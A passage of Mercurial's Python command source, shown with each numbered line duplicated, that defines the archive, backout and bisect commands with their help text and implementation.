598 (b'r', b'rev', b'', _(b'revision to distribute'), _(b'REV')),
599 (b't', b'type', b'', _(b'type of distribution to create'), _(b'TYPE')),
599 (b't', b'type', b'', _(b'type of distribution to create'), _(b'TYPE')),
600 ]
600 ]
601 + subrepoopts
601 + subrepoopts
602 + walkopts,
602 + walkopts,
603 _(b'[OPTION]... DEST'),
603 _(b'[OPTION]... DEST'),
604 helpcategory=command.CATEGORY_IMPORT_EXPORT,
604 helpcategory=command.CATEGORY_IMPORT_EXPORT,
605 )
605 )
606 def archive(ui, repo, dest, **opts):
606 def archive(ui, repo, dest, **opts):
607 """create an unversioned archive of a repository revision
607 """create an unversioned archive of a repository revision
608
608
609 By default, the revision used is the parent of the working
609 By default, the revision used is the parent of the working
610 directory; use -r/--rev to specify a different revision.
610 directory; use -r/--rev to specify a different revision.
611
611
612 The archive type is automatically detected based on file
612 The archive type is automatically detected based on file
613 extension (to override, use -t/--type).
613 extension (to override, use -t/--type).
614
614
615 .. container:: verbose
615 .. container:: verbose
616
616
617 Examples:
617 Examples:
618
618
619 - create a zip file containing the 1.0 release::
619 - create a zip file containing the 1.0 release::
620
620
621 hg archive -r 1.0 project-1.0.zip
621 hg archive -r 1.0 project-1.0.zip
622
622
623 - create a tarball excluding .hg files::
623 - create a tarball excluding .hg files::
624
624
625 hg archive project.tar.gz -X ".hg*"
625 hg archive project.tar.gz -X ".hg*"
626
626
627 Valid types are:
627 Valid types are:
628
628
629 :``files``: a directory full of files (default)
629 :``files``: a directory full of files (default)
630 :``tar``: tar archive, uncompressed
630 :``tar``: tar archive, uncompressed
631 :``tbz2``: tar archive, compressed using bzip2
631 :``tbz2``: tar archive, compressed using bzip2
632 :``tgz``: tar archive, compressed using gzip
632 :``tgz``: tar archive, compressed using gzip
633 :``txz``: tar archive, compressed using lzma (only in Python 3)
633 :``txz``: tar archive, compressed using lzma (only in Python 3)
634 :``uzip``: zip archive, uncompressed
634 :``uzip``: zip archive, uncompressed
635 :``zip``: zip archive, compressed using deflate
635 :``zip``: zip archive, compressed using deflate
636
636
637 The exact name of the destination archive or directory is given
637 The exact name of the destination archive or directory is given
638 using a format string; see :hg:`help export` for details.
638 using a format string; see :hg:`help export` for details.
639
639
640 Each member added to an archive file has a directory prefix
640 Each member added to an archive file has a directory prefix
641 prepended. Use -p/--prefix to specify a format string for the
641 prepended. Use -p/--prefix to specify a format string for the
642 prefix. The default is the basename of the archive, with suffixes
642 prefix. The default is the basename of the archive, with suffixes
643 removed.
643 removed.
644
644
645 Returns 0 on success.
645 Returns 0 on success.
646 """
646 """
647
647
648 opts = pycompat.byteskwargs(opts)
648 opts = pycompat.byteskwargs(opts)
649 rev = opts.get(b'rev')
649 rev = opts.get(b'rev')
650 if rev:
650 if rev:
651 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
651 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
652 ctx = logcmdutil.revsingle(repo, rev)
652 ctx = logcmdutil.revsingle(repo, rev)
653 if not ctx:
653 if not ctx:
654 raise error.InputError(
654 raise error.InputError(
655 _(b'no working directory: please specify a revision')
655 _(b'no working directory: please specify a revision')
656 )
656 )
657 node = ctx.node()
657 node = ctx.node()
658 dest = cmdutil.makefilename(ctx, dest)
658 dest = cmdutil.makefilename(ctx, dest)
659 if os.path.realpath(dest) == repo.root:
659 if os.path.realpath(dest) == repo.root:
660 raise error.InputError(_(b'repository root cannot be destination'))
660 raise error.InputError(_(b'repository root cannot be destination'))
661
661
662 kind = opts.get(b'type') or archival.guesskind(dest) or b'files'
662 kind = opts.get(b'type') or archival.guesskind(dest) or b'files'
663 prefix = opts.get(b'prefix')
663 prefix = opts.get(b'prefix')
664
664
665 if dest == b'-':
665 if dest == b'-':
666 if kind == b'files':
666 if kind == b'files':
667 raise error.InputError(_(b'cannot archive plain files to stdout'))
667 raise error.InputError(_(b'cannot archive plain files to stdout'))
668 dest = cmdutil.makefileobj(ctx, dest)
668 dest = cmdutil.makefileobj(ctx, dest)
669 if not prefix:
669 if not prefix:
670 prefix = os.path.basename(repo.root) + b'-%h'
670 prefix = os.path.basename(repo.root) + b'-%h'
671
671
672 prefix = cmdutil.makefilename(ctx, prefix)
672 prefix = cmdutil.makefilename(ctx, prefix)
673 match = scmutil.match(ctx, [], opts)
673 match = scmutil.match(ctx, [], opts)
674 archival.archive(
674 archival.archive(
675 repo,
675 repo,
676 dest,
676 dest,
677 node,
677 node,
678 kind,
678 kind,
679 not opts.get(b'no_decode'),
679 not opts.get(b'no_decode'),
680 match,
680 match,
681 prefix,
681 prefix,
682 subrepos=opts.get(b'subrepos'),
682 subrepos=opts.get(b'subrepos'),
683 )
683 )
684
684
685
685
686 @command(
686 @command(
687 b'backout',
687 b'backout',
688 [
688 [
689 (
689 (
690 b'',
690 b'',
691 b'merge',
691 b'merge',
692 None,
692 None,
693 _(b'merge with old dirstate parent after backout'),
693 _(b'merge with old dirstate parent after backout'),
694 ),
694 ),
695 (
695 (
696 b'',
696 b'',
697 b'commit',
697 b'commit',
698 None,
698 None,
699 _(b'commit if no conflicts were encountered (DEPRECATED)'),
699 _(b'commit if no conflicts were encountered (DEPRECATED)'),
700 ),
700 ),
701 (b'', b'no-commit', None, _(b'do not commit')),
701 (b'', b'no-commit', None, _(b'do not commit')),
702 (
702 (
703 b'',
703 b'',
704 b'parent',
704 b'parent',
705 b'',
705 b'',
706 _(b'parent to choose when backing out merge (DEPRECATED)'),
706 _(b'parent to choose when backing out merge (DEPRECATED)'),
707 _(b'REV'),
707 _(b'REV'),
708 ),
708 ),
709 (b'r', b'rev', b'', _(b'revision to backout'), _(b'REV')),
709 (b'r', b'rev', b'', _(b'revision to backout'), _(b'REV')),
710 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
710 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
711 ]
711 ]
712 + mergetoolopts
712 + mergetoolopts
713 + walkopts
713 + walkopts
714 + commitopts
714 + commitopts
715 + commitopts2,
715 + commitopts2,
716 _(b'[OPTION]... [-r] REV'),
716 _(b'[OPTION]... [-r] REV'),
717 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
717 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
718 )
718 )
719 def backout(ui, repo, node=None, rev=None, **opts):
719 def backout(ui, repo, node=None, rev=None, **opts):
720 """reverse effect of earlier changeset
720 """reverse effect of earlier changeset
721
721
722 Prepare a new changeset with the effect of REV undone in the
722 Prepare a new changeset with the effect of REV undone in the
723 current working directory. If no conflicts were encountered,
723 current working directory. If no conflicts were encountered,
724 it will be committed immediately.
724 it will be committed immediately.
725
725
726 If REV is the parent of the working directory, then this new changeset
726 If REV is the parent of the working directory, then this new changeset
727 is committed automatically (unless --no-commit is specified).
727 is committed automatically (unless --no-commit is specified).
728
728
729 .. note::
729 .. note::
730
730
731 :hg:`backout` cannot be used to fix either an unwanted or
731 :hg:`backout` cannot be used to fix either an unwanted or
732 incorrect merge.
732 incorrect merge.
733
733
734 .. container:: verbose
734 .. container:: verbose
735
735
736 Examples:
736 Examples:
737
737
738 - Reverse the effect of the parent of the working directory.
738 - Reverse the effect of the parent of the working directory.
739 This backout will be committed immediately::
739 This backout will be committed immediately::
740
740
741 hg backout -r .
741 hg backout -r .
742
742
743 - Reverse the effect of previous bad revision 23::
743 - Reverse the effect of previous bad revision 23::
744
744
745 hg backout -r 23
745 hg backout -r 23
746
746
747 - Reverse the effect of previous bad revision 23 and
747 - Reverse the effect of previous bad revision 23 and
748 leave changes uncommitted::
748 leave changes uncommitted::
749
749
750 hg backout -r 23 --no-commit
750 hg backout -r 23 --no-commit
751 hg commit -m "Backout revision 23"
751 hg commit -m "Backout revision 23"
752
752
753 By default, the pending changeset will have one parent,
753 By default, the pending changeset will have one parent,
754 maintaining a linear history. With --merge, the pending
754 maintaining a linear history. With --merge, the pending
755 changeset will instead have two parents: the old parent of the
755 changeset will instead have two parents: the old parent of the
756 working directory and a new child of REV that simply undoes REV.
756 working directory and a new child of REV that simply undoes REV.
757
757
758 Before version 1.7, the behavior without --merge was equivalent
758 Before version 1.7, the behavior without --merge was equivalent
759 to specifying --merge followed by :hg:`update --clean .` to
759 to specifying --merge followed by :hg:`update --clean .` to
760 cancel the merge and leave the child of REV as a head to be
760 cancel the merge and leave the child of REV as a head to be
761 merged separately.
761 merged separately.
762
762
763 See :hg:`help dates` for a list of formats valid for -d/--date.
763 See :hg:`help dates` for a list of formats valid for -d/--date.
764
764
765 See :hg:`help revert` for a way to restore files to the state
765 See :hg:`help revert` for a way to restore files to the state
766 of another revision.
766 of another revision.
767
767
768 Returns 0 on success, 1 if nothing to backout or there are unresolved
768 Returns 0 on success, 1 if nothing to backout or there are unresolved
769 files.
769 files.
770 """
770 """
771 with repo.wlock(), repo.lock():
771 with repo.wlock(), repo.lock():
772 return _dobackout(ui, repo, node, rev, **opts)
772 return _dobackout(ui, repo, node, rev, **opts)
773
773
774
774
775 def _dobackout(ui, repo, node=None, rev=None, **opts):
775 def _dobackout(ui, repo, node=None, rev=None, **opts):
776 cmdutil.check_incompatible_arguments(opts, 'no_commit', ['commit', 'merge'])
776 cmdutil.check_incompatible_arguments(opts, 'no_commit', ['commit', 'merge'])
777 opts = pycompat.byteskwargs(opts)
777 opts = pycompat.byteskwargs(opts)
778
778
779 if rev and node:
779 if rev and node:
780 raise error.InputError(_(b"please specify just one revision"))
780 raise error.InputError(_(b"please specify just one revision"))
781
781
782 if not rev:
782 if not rev:
783 rev = node
783 rev = node
784
784
785 if not rev:
785 if not rev:
786 raise error.InputError(_(b"please specify a revision to backout"))
786 raise error.InputError(_(b"please specify a revision to backout"))
787
787
788 date = opts.get(b'date')
788 date = opts.get(b'date')
789 if date:
789 if date:
790 opts[b'date'] = dateutil.parsedate(date)
790 opts[b'date'] = dateutil.parsedate(date)
791
791
792 cmdutil.checkunfinished(repo)
792 cmdutil.checkunfinished(repo)
793 cmdutil.bailifchanged(repo)
793 cmdutil.bailifchanged(repo)
794 ctx = logcmdutil.revsingle(repo, rev)
794 ctx = logcmdutil.revsingle(repo, rev)
795 node = ctx.node()
795 node = ctx.node()
796
796
797 op1, op2 = repo.dirstate.parents()
797 op1, op2 = repo.dirstate.parents()
798 if not repo.changelog.isancestor(node, op1):
798 if not repo.changelog.isancestor(node, op1):
799 raise error.InputError(
799 raise error.InputError(
800 _(b'cannot backout change that is not an ancestor')
800 _(b'cannot backout change that is not an ancestor')
801 )
801 )
802
802
803 p1, p2 = repo.changelog.parents(node)
803 p1, p2 = repo.changelog.parents(node)
804 if p1 == repo.nullid:
804 if p1 == repo.nullid:
805 raise error.InputError(_(b'cannot backout a change with no parents'))
805 raise error.InputError(_(b'cannot backout a change with no parents'))
806 if p2 != repo.nullid:
806 if p2 != repo.nullid:
807 if not opts.get(b'parent'):
807 if not opts.get(b'parent'):
808 raise error.InputError(_(b'cannot backout a merge changeset'))
808 raise error.InputError(_(b'cannot backout a merge changeset'))
809 p = repo.lookup(opts[b'parent'])
809 p = repo.lookup(opts[b'parent'])
810 if p not in (p1, p2):
810 if p not in (p1, p2):
811 raise error.InputError(
811 raise error.InputError(
812 _(b'%s is not a parent of %s') % (short(p), short(node))
812 _(b'%s is not a parent of %s') % (short(p), short(node))
813 )
813 )
814 parent = p
814 parent = p
815 else:
815 else:
816 if opts.get(b'parent'):
816 if opts.get(b'parent'):
817 raise error.InputError(
817 raise error.InputError(
818 _(b'cannot use --parent on non-merge changeset')
818 _(b'cannot use --parent on non-merge changeset')
819 )
819 )
820 parent = p1
820 parent = p1
821
821
822 # the backout should appear on the same branch
822 # the backout should appear on the same branch
823 branch = repo.dirstate.branch()
823 branch = repo.dirstate.branch()
824 bheads = repo.branchheads(branch)
824 bheads = repo.branchheads(branch)
825 rctx = scmutil.revsingle(repo, hex(parent))
825 rctx = scmutil.revsingle(repo, hex(parent))
826 if not opts.get(b'merge') and op1 != node:
826 if not opts.get(b'merge') and op1 != node:
827 with dirstateguard.dirstateguard(repo, b'backout'):
827 with dirstateguard.dirstateguard(repo, b'backout'):
828 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
828 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
829 with ui.configoverride(overrides, b'backout'):
829 with ui.configoverride(overrides, b'backout'):
830 stats = mergemod.back_out(ctx, parent=repo[parent])
830 stats = mergemod.back_out(ctx, parent=repo[parent])
831 repo.setparents(op1, op2)
831 repo.setparents(op1, op2)
832 hg._showstats(repo, stats)
832 hg._showstats(repo, stats)
833 if stats.unresolvedcount:
833 if stats.unresolvedcount:
834 repo.ui.status(
834 repo.ui.status(
835 _(b"use 'hg resolve' to retry unresolved file merges\n")
835 _(b"use 'hg resolve' to retry unresolved file merges\n")
836 )
836 )
837 return 1
837 return 1
838 else:
838 else:
839 hg.clean(repo, node, show_stats=False)
839 hg.clean(repo, node, show_stats=False)
840 repo.dirstate.setbranch(branch)
840 repo.dirstate.setbranch(branch)
841 cmdutil.revert(ui, repo, rctx)
841 cmdutil.revert(ui, repo, rctx)
842
842
843 if opts.get(b'no_commit'):
843 if opts.get(b'no_commit'):
844 msg = _(b"changeset %s backed out, don't forget to commit.\n")
844 msg = _(b"changeset %s backed out, don't forget to commit.\n")
845 ui.status(msg % short(node))
845 ui.status(msg % short(node))
846 return 0
846 return 0
847
847
848 def commitfunc(ui, repo, message, match, opts):
848 def commitfunc(ui, repo, message, match, opts):
849 editform = b'backout'
849 editform = b'backout'
850 e = cmdutil.getcommiteditor(
850 e = cmdutil.getcommiteditor(
851 editform=editform, **pycompat.strkwargs(opts)
851 editform=editform, **pycompat.strkwargs(opts)
852 )
852 )
853 if not message:
853 if not message:
854 # we don't translate commit messages
854 # we don't translate commit messages
855 message = b"Backed out changeset %s" % short(node)
855 message = b"Backed out changeset %s" % short(node)
856 e = cmdutil.getcommiteditor(edit=True, editform=editform)
856 e = cmdutil.getcommiteditor(edit=True, editform=editform)
857 return repo.commit(
857 return repo.commit(
858 message, opts.get(b'user'), opts.get(b'date'), match, editor=e
858 message, opts.get(b'user'), opts.get(b'date'), match, editor=e
859 )
859 )
860
860
861 # save to detect changes
861 # save to detect changes
862 tip = repo.changelog.tip()
862 tip = repo.changelog.tip()
863
863
864 newnode = cmdutil.commit(ui, repo, commitfunc, [], opts)
864 newnode = cmdutil.commit(ui, repo, commitfunc, [], opts)
865 if not newnode:
865 if not newnode:
866 ui.status(_(b"nothing changed\n"))
866 ui.status(_(b"nothing changed\n"))
867 return 1
867 return 1
868 cmdutil.commitstatus(repo, newnode, branch, bheads, tip)
868 cmdutil.commitstatus(repo, newnode, branch, bheads, tip)
869
869
870 def nice(node):
870 def nice(node):
871 return b'%d:%s' % (repo.changelog.rev(node), short(node))
871 return b'%d:%s' % (repo.changelog.rev(node), short(node))
872
872
873 ui.status(
873 ui.status(
874 _(b'changeset %s backs out changeset %s\n')
874 _(b'changeset %s backs out changeset %s\n')
875 % (nice(newnode), nice(node))
875 % (nice(newnode), nice(node))
876 )
876 )
877 if opts.get(b'merge') and op1 != node:
877 if opts.get(b'merge') and op1 != node:
878 hg.clean(repo, op1, show_stats=False)
878 hg.clean(repo, op1, show_stats=False)
879 ui.status(_(b'merging with changeset %s\n') % nice(newnode))
879 ui.status(_(b'merging with changeset %s\n') % nice(newnode))
880 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
880 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
881 with ui.configoverride(overrides, b'backout'):
881 with ui.configoverride(overrides, b'backout'):
882 return hg.merge(repo[b'tip'])
882 return hg.merge(repo[b'tip'])
883 return 0
883 return 0
884
884
885
885
886 @command(
886 @command(
887 b'bisect',
887 b'bisect',
888 [
888 [
889 (b'r', b'reset', False, _(b'reset bisect state')),
889 (b'r', b'reset', False, _(b'reset bisect state')),
890 (b'g', b'good', False, _(b'mark changeset good')),
890 (b'g', b'good', False, _(b'mark changeset good')),
891 (b'b', b'bad', False, _(b'mark changeset bad')),
891 (b'b', b'bad', False, _(b'mark changeset bad')),
892 (b's', b'skip', False, _(b'skip testing changeset')),
892 (b's', b'skip', False, _(b'skip testing changeset')),
893 (b'e', b'extend', False, _(b'extend the bisect range')),
893 (b'e', b'extend', False, _(b'extend the bisect range')),
894 (
894 (
895 b'c',
895 b'c',
896 b'command',
896 b'command',
897 b'',
897 b'',
898 _(b'use command to check changeset state'),
898 _(b'use command to check changeset state'),
899 _(b'CMD'),
899 _(b'CMD'),
900 ),
900 ),
901 (b'U', b'noupdate', False, _(b'do not update to target')),
901 (b'U', b'noupdate', False, _(b'do not update to target')),
902 ],
902 ],
903 _(b"[-gbsr] [-U] [-c CMD] [REV]"),
903 _(b"[-gbsr] [-U] [-c CMD] [REV]"),
904 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
904 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
905 )
905 )
906 def bisect(
906 def bisect(
907 ui,
907 ui,
908 repo,
908 repo,
909 positional_1=None,
909 positional_1=None,
910 positional_2=None,
910 positional_2=None,
911 command=None,
911 command=None,
912 reset=None,
912 reset=None,
913 good=None,
913 good=None,
914 bad=None,
914 bad=None,
915 skip=None,
915 skip=None,
916 extend=None,
916 extend=None,
917 noupdate=None,
917 noupdate=None,
918 ):
918 ):
919 """subdivision search of changesets
919 """subdivision search of changesets
920
920
921 This command helps to find changesets which introduce problems. To
921 This command helps to find changesets which introduce problems. To
922 use, mark the earliest changeset you know exhibits the problem as
922 use, mark the earliest changeset you know exhibits the problem as
923 bad, then mark the latest changeset which is free from the problem
923 bad, then mark the latest changeset which is free from the problem
924 as good. Bisect will update your working directory to a revision
924 as good. Bisect will update your working directory to a revision
925 for testing (unless the -U/--noupdate option is specified). Once
925 for testing (unless the -U/--noupdate option is specified). Once
926 you have performed tests, mark the working directory as good or
926 you have performed tests, mark the working directory as good or
927 bad, and bisect will either update to another candidate changeset
927 bad, and bisect will either update to another candidate changeset
928 or announce that it has found the bad revision.
928 or announce that it has found the bad revision.
929
929
930 As a shortcut, you can also use the revision argument to mark a
930 As a shortcut, you can also use the revision argument to mark a
931 revision as good or bad without checking it out first.
931 revision as good or bad without checking it out first.
932
932
933 If you supply a command, it will be used for automatic bisection.
933 If you supply a command, it will be used for automatic bisection.
934 The environment variable HG_NODE will contain the ID of the
934 The environment variable HG_NODE will contain the ID of the
935 changeset being tested. The exit status of the command will be
935 changeset being tested. The exit status of the command will be
936 used to mark revisions as good or bad: status 0 means good, 125
936 used to mark revisions as good or bad: status 0 means good, 125
937 means to skip the revision, 127 (command not found) will abort the
937 means to skip the revision, 127 (command not found) will abort the
938 bisection, and any other non-zero exit status means the revision
938 bisection, and any other non-zero exit status means the revision
939 is bad.
939 is bad.
940
940
941 .. container:: verbose
941 .. container:: verbose
942
942
943 Some examples:
943 Some examples:
944
944
945 - start a bisection with known bad revision 34, and good revision 12::
945 - start a bisection with known bad revision 34, and good revision 12::
946
946
947 hg bisect --bad 34
947 hg bisect --bad 34
948 hg bisect --good 12
948 hg bisect --good 12
949
949
950 - advance the current bisection by marking current revision as good or
950 - advance the current bisection by marking current revision as good or
951 bad::
951 bad::
952
952
953 hg bisect --good
953 hg bisect --good
954 hg bisect --bad
954 hg bisect --bad
955
955
956 - mark the current revision, or a known revision, to be skipped (e.g. if
956 - mark the current revision, or a known revision, to be skipped (e.g. if
957 that revision is not usable because of another issue)::
957 that revision is not usable because of another issue)::
958
958
959 hg bisect --skip
959 hg bisect --skip
960 hg bisect --skip 23
960 hg bisect --skip 23
961
961
962 - skip all revisions that do not touch directories ``foo`` or ``bar``::
962 - skip all revisions that do not touch directories ``foo`` or ``bar``::
963
963
964 hg bisect --skip "!( file('path:foo') & file('path:bar') )"
964 hg bisect --skip "!( file('path:foo') & file('path:bar') )"
965
965
966 - forget the current bisection::
966 - forget the current bisection::
967
967
968 hg bisect --reset
968 hg bisect --reset
969
969
970 - use 'make && make tests' to automatically find the first broken
970 - use 'make && make tests' to automatically find the first broken
971 revision::
971 revision::
972
972
973 hg bisect --reset
973 hg bisect --reset
974 hg bisect --bad 34
974 hg bisect --bad 34
975 hg bisect --good 12
975 hg bisect --good 12
976 hg bisect --command "make && make tests"
976 hg bisect --command "make && make tests"
977
977
978 - see all changesets whose states are already known in the current
978 - see all changesets whose states are already known in the current
979 bisection::
979 bisection::
980
980
981 hg log -r "bisect(pruned)"
981 hg log -r "bisect(pruned)"
982
982
983 - see the changeset currently being bisected (especially useful
983 - see the changeset currently being bisected (especially useful
984 if running with -U/--noupdate)::
984 if running with -U/--noupdate)::
985
985
986 hg log -r "bisect(current)"
986 hg log -r "bisect(current)"
987
987
988 - see all changesets that took part in the current bisection::
988 - see all changesets that took part in the current bisection::
989
989
990 hg log -r "bisect(range)"
990 hg log -r "bisect(range)"
991
991
992 - you can even get a nice graph::
992 - you can even get a nice graph::
993
993
994 hg log --graph -r "bisect(range)"
994 hg log --graph -r "bisect(range)"
995
995
996 See :hg:`help revisions.bisect` for more about the `bisect()` predicate.
996 See :hg:`help revisions.bisect` for more about the `bisect()` predicate.
997
997
998 Returns 0 on success.
998 Returns 0 on success.
999 """
999 """
1000 rev = []
1000 rev = []
1001 # backward compatibility
1001 # backward compatibility
1002 if positional_1 in (b"good", b"bad", b"reset", b"init"):
1002 if positional_1 in (b"good", b"bad", b"reset", b"init"):
1003 ui.warn(_(b"(use of 'hg bisect <cmd>' is deprecated)\n"))
1003 ui.warn(_(b"(use of 'hg bisect <cmd>' is deprecated)\n"))
1004 cmd = positional_1
1004 cmd = positional_1
1005 rev.append(positional_2)
1005 rev.append(positional_2)
1006 if cmd == b"good":
1006 if cmd == b"good":
1007 good = True
1007 good = True
1008 elif cmd == b"bad":
1008 elif cmd == b"bad":
1009 bad = True
1009 bad = True
1010 else:
1010 else:
1011 reset = True
1011 reset = True
1012 elif positional_2:
1012 elif positional_2:
1013 raise error.InputError(_(b'incompatible arguments'))
1013 raise error.InputError(_(b'incompatible arguments'))
1014 elif positional_1 is not None:
1014 elif positional_1 is not None:
1015 rev.append(positional_1)
1015 rev.append(positional_1)
1016
1016
1017 incompatibles = {
1017 incompatibles = {
1018 b'--bad': bad,
1018 b'--bad': bad,
1019 b'--command': bool(command),
1019 b'--command': bool(command),
1020 b'--extend': extend,
1020 b'--extend': extend,
1021 b'--good': good,
1021 b'--good': good,
1022 b'--reset': reset,
1022 b'--reset': reset,
1023 b'--skip': skip,
1023 b'--skip': skip,
1024 }
1024 }
1025
1025
1026 enabled = [x for x in incompatibles if incompatibles[x]]
1026 enabled = [x for x in incompatibles if incompatibles[x]]
1027
1027
1028 if len(enabled) > 1:
1028 if len(enabled) > 1:
1029 raise error.InputError(
1029 raise error.InputError(
1030 _(b'%s and %s are incompatible') % tuple(sorted(enabled)[0:2])
1030 _(b'%s and %s are incompatible') % tuple(sorted(enabled)[0:2])
1031 )
1031 )
1032
1032
1033 if reset:
1033 if reset:
1034 hbisect.resetstate(repo)
1034 hbisect.resetstate(repo)
1035 return
1035 return
1036
1036
1037 state = hbisect.load_state(repo)
1037 state = hbisect.load_state(repo)
1038
1038
1039 if rev:
1039 if rev:
1040 nodes = [repo[i].node() for i in logcmdutil.revrange(repo, rev)]
1040 nodes = [repo[i].node() for i in logcmdutil.revrange(repo, rev)]
1041 else:
1041 else:
1042 nodes = [repo.lookup(b'.')]
1042 nodes = [repo.lookup(b'.')]
1043
1043
1044 # update state
1044 # update state
1045 if good or bad or skip:
1045 if good or bad or skip:
1046 if good:
1046 if good:
1047 state[b'good'] += nodes
1047 state[b'good'] += nodes
1048 elif bad:
1048 elif bad:
1049 state[b'bad'] += nodes
1049 state[b'bad'] += nodes
1050 elif skip:
1050 elif skip:
1051 state[b'skip'] += nodes
1051 state[b'skip'] += nodes
1052 hbisect.save_state(repo, state)
1052 hbisect.save_state(repo, state)
1053 if not (state[b'good'] and state[b'bad']):
1053 if not (state[b'good'] and state[b'bad']):
1054 return
1054 return
1055
1055
1056 def mayupdate(repo, node, show_stats=True):
1056 def mayupdate(repo, node, show_stats=True):
1057 """common used update sequence"""
1057 """common used update sequence"""
1058 if noupdate:
1058 if noupdate:
1059 return
1059 return
1060 cmdutil.checkunfinished(repo)
1060 cmdutil.checkunfinished(repo)
1061 cmdutil.bailifchanged(repo)
1061 cmdutil.bailifchanged(repo)
1062 return hg.clean(repo, node, show_stats=show_stats)
1062 return hg.clean(repo, node, show_stats=show_stats)
1063
1063
1064 displayer = logcmdutil.changesetdisplayer(ui, repo, {})
1064 displayer = logcmdutil.changesetdisplayer(ui, repo, {})
1065
1065
1066 if command:
1066 if command:
1067 changesets = 1
1067 changesets = 1
1068 if noupdate:
1068 if noupdate:
1069 try:
1069 try:
1070 node = state[b'current'][0]
1070 node = state[b'current'][0]
1071 except LookupError:
1071 except LookupError:
1072 raise error.StateError(
1072 raise error.StateError(
1073 _(
1073 _(
1074 b'current bisect revision is unknown - '
1074 b'current bisect revision is unknown - '
1075 b'start a new bisect to fix'
1075 b'start a new bisect to fix'
1076 )
1076 )
1077 )
1077 )
1078 else:
1078 else:
1079 node, p2 = repo.dirstate.parents()
1079 node, p2 = repo.dirstate.parents()
1080 if p2 != repo.nullid:
1080 if p2 != repo.nullid:
1081 raise error.StateError(_(b'current bisect revision is a merge'))
1081 raise error.StateError(_(b'current bisect revision is a merge'))
1082 if rev:
1082 if rev:
1083 if not nodes:
1083 if not nodes:
1084 raise error.InputError(_(b'empty revision set'))
1084 raise error.InputError(_(b'empty revision set'))
1085 node = repo[nodes[-1]].node()
1085 node = repo[nodes[-1]].node()
1086 with hbisect.restore_state(repo, state, node):
1086 with hbisect.restore_state(repo, state, node):
1087 while changesets:
1087 while changesets:
1088 # update state
1088 # update state
1089 state[b'current'] = [node]
1089 state[b'current'] = [node]
1090 hbisect.save_state(repo, state)
1090 hbisect.save_state(repo, state)
1091 status = ui.system(
1091 status = ui.system(
1092 command,
1092 command,
1093 environ={b'HG_NODE': hex(node)},
1093 environ={b'HG_NODE': hex(node)},
1094 blockedtag=b'bisect_check',
1094 blockedtag=b'bisect_check',
1095 )
1095 )
1096 if status == 125:
1096 if status == 125:
1097 transition = b"skip"
1097 transition = b"skip"
1098 elif status == 0:
1098 elif status == 0:
1099 transition = b"good"
1099 transition = b"good"
1100 # status < 0 means process was killed
1100 # status < 0 means process was killed
1101 elif status == 127:
1101 elif status == 127:
1102 raise error.Abort(_(b"failed to execute %s") % command)
1102 raise error.Abort(_(b"failed to execute %s") % command)
1103 elif status < 0:
1103 elif status < 0:
1104 raise error.Abort(_(b"%s killed") % command)
1104 raise error.Abort(_(b"%s killed") % command)
1105 else:
1105 else:
1106 transition = b"bad"
1106 transition = b"bad"
1107 state[transition].append(node)
1107 state[transition].append(node)
1108 ctx = repo[node]
1108 ctx = repo[node]
1109 summary = cmdutil.format_changeset_summary(ui, ctx, b'bisect')
1109 summary = cmdutil.format_changeset_summary(ui, ctx, b'bisect')
1110 ui.status(_(b'changeset %s: %s\n') % (summary, transition))
1110 ui.status(_(b'changeset %s: %s\n') % (summary, transition))
1111 hbisect.checkstate(state)
1111 hbisect.checkstate(state)
1112 # bisect
1112 # bisect
1113 nodes, changesets, bgood = hbisect.bisect(repo, state)
1113 nodes, changesets, bgood = hbisect.bisect(repo, state)
1114 # update to next check
1114 # update to next check
1115 node = nodes[0]
1115 node = nodes[0]
1116 mayupdate(repo, node, show_stats=False)
1116 mayupdate(repo, node, show_stats=False)
1117 hbisect.printresult(ui, repo, state, displayer, nodes, bgood)
1117 hbisect.printresult(ui, repo, state, displayer, nodes, bgood)
1118 return
1118 return
1119
1119
1120 hbisect.checkstate(state)
1120 hbisect.checkstate(state)
1121
1121
1122 # actually bisect
1122 # actually bisect
1123 nodes, changesets, good = hbisect.bisect(repo, state)
1123 nodes, changesets, good = hbisect.bisect(repo, state)
1124 if extend:
1124 if extend:
1125 if not changesets:
1125 if not changesets:
1126 extendctx = hbisect.extendrange(repo, state, nodes, good)
1126 extendctx = hbisect.extendrange(repo, state, nodes, good)
1127 if extendctx is not None:
1127 if extendctx is not None:
1128 ui.write(
1128 ui.write(
1129 _(b"Extending search to changeset %s\n")
1129 _(b"Extending search to changeset %s\n")
1130 % cmdutil.format_changeset_summary(ui, extendctx, b'bisect')
1130 % cmdutil.format_changeset_summary(ui, extendctx, b'bisect')
1131 )
1131 )
1132 state[b'current'] = [extendctx.node()]
1132 state[b'current'] = [extendctx.node()]
1133 hbisect.save_state(repo, state)
1133 hbisect.save_state(repo, state)
1134 return mayupdate(repo, extendctx.node())
1134 return mayupdate(repo, extendctx.node())
1135 raise error.StateError(_(b"nothing to extend"))
1135 raise error.StateError(_(b"nothing to extend"))
1136
1136
1137 if changesets == 0:
1137 if changesets == 0:
1138 hbisect.printresult(ui, repo, state, displayer, nodes, good)
1138 hbisect.printresult(ui, repo, state, displayer, nodes, good)
1139 else:
1139 else:
1140 assert len(nodes) == 1 # only a single node can be tested next
1140 assert len(nodes) == 1 # only a single node can be tested next
1141 node = nodes[0]
1141 node = nodes[0]
1142 # compute the approximate number of remaining tests
1142 # compute the approximate number of remaining tests
1143 tests, size = 0, 2
1143 tests, size = 0, 2
1144 while size <= changesets:
1144 while size <= changesets:
1145 tests, size = tests + 1, size * 2
1145 tests, size = tests + 1, size * 2
1146 rev = repo.changelog.rev(node)
1146 rev = repo.changelog.rev(node)
1147 summary = cmdutil.format_changeset_summary(ui, repo[rev], b'bisect')
1147 summary = cmdutil.format_changeset_summary(ui, repo[rev], b'bisect')
1148 ui.write(
1148 ui.write(
1149 _(
1149 _(
1150 b"Testing changeset %s "
1150 b"Testing changeset %s "
1151 b"(%d changesets remaining, ~%d tests)\n"
